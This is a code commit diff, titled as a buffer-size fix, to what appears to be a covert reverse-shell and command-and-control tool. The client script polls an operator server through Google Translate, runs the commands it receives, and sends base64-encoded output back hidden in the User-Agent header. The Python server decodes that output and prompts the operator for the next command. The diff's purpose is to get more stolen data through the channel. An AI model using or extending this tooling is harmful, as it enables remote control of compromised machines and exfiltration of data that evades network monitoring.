Fixed buffer size problem

README.md

@@ -23,6 +23,6 @@ Now you have an interactive shell using named pipe files, **YES** you can `cd` i
 [![CODE_IS_CHEAP_SHOW_ME_THE_DEMO](http://img.youtube.com/vi/02CFsE0k96E/0.jpg)](http://www.youtube.com/watch?v=02CFsE0k96E)
 
 # Known issues 
- * Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like `.bashrc`.
+ * ~~Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like `.bashrc`.~~ `Problem fixed using User-Agent header to sent data`.
  * It's not a problem, but I just don't know if there's a rate limit on Google Translator
  * The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils`

client.sh

@@ -14,7 +14,7 @@ function namedpipe(){
 }
 
 function getfirsturl(){
-  url="https://translate.google.com/translate?&anno=2&u=$c2server$result"
+  url="https://translate.google.com/translate?&anno=2&u=$c2server"
   first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g' )
 } 
 
@@ -23,13 +23,18 @@ function getsecondurl(){
 }
 
 function getcommand(){
-  command=$(curl --silent $second -H "$user_agent" )
-  command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
-  command2=$(echo "$command" | xmllint --html --xpath '//body/text()' - 2>/dev/null)
-  if [[ "$command1" ]];then
-    command="$command1"
+  if [[ "$result" ]];then
+    command=$(curl --silent $second -H "$result" )
   else
-    command="$command2"
+    command=$(curl --silent $second -H "$user_agent" )
+
+    command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
+    command2=$(echo "$command" | xmllint --html --xpath '//body/text()' - 2>/dev/null)
+    if [[ "$command1" ]];then
+      command="$command1"
+    else
+      command="$command2"
+    fi
   fi
 }
 
@@ -49,9 +54,9 @@ function main(){
     echo -n > $output
     echo "$command" > "$input"
     sleep 2
-    outputb64=$(cat $output | tr -dc '[:print:]' | base64 | tr -d ' ' | tr -d '\n'  2>/dev/null)
+    outputb64=$(cat $output | tr -d '\000'  | base64 | tr -d '\n'  2>/dev/null)
     if [[ "$outputb64" ]];then
-      result="?result=$outputb64"
+      result="$user_agent|$outputb64"
       talktotranslate
     fi
   fi

server.py

@@ -8,13 +8,15 @@
 class webServer(BaseHTTPRequestHandler):
 
     def do_GET(self,):
+        useragent = self.headers.get('User-Agent').split('|')
         self.send_response(200)
         self.send_header("Content-type","text/html")
         self.end_headers()
 
         query_components = parse_qs(urlparse(self.path).query)
-        if "result" in query_components:
-            print(query_components["result"][0].decode("base64"))
+        if len(useragent) == 2:
+            response = useragent[1].split(',')[0]
+            print(response.decode("base64"))
             self.wfile.write("")
             return
         cmd = raw_input("$ ")
@@ -30,3 +32,4 @@ def log_message(self, format, *args):
     server.serve_forever()
 except KeyboardInterrupt:
     server.socket.close()
+